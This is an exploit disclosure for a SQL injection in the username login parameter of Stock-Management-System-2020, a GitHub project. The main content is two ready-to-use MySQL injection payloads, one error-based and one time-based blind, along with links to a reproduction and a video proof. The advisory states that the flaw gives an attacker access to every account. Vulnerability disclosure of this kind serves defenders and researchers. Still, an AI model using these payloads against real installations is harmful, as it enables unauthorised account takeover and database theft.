Stock Management System 2020 SQL Injection

## Title: Stock-Management-System-2020 SQLi## Author: nu11secur1ty## Date: 07.02.2022## Vendor: https://github.com/Dav-ee## Software: https://github.com/Dav-ee/Stock-Management-System## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020## Description:The username parameter appears to be vulnerable to SQL injection attacks.The attacker kan take an access to all acounts on this system.Status: CRITICAL[+] Payloads:```mysql---Parameter: username (POST)    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECTCOUNT(*),CONCAT(0x71787a6271,(SELECT(ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND'LcYi'='LcYi&password=g5X!p2l!Q6    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM(SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020)## Proof and Exploit:[href](https://streamable.com/urkvz7)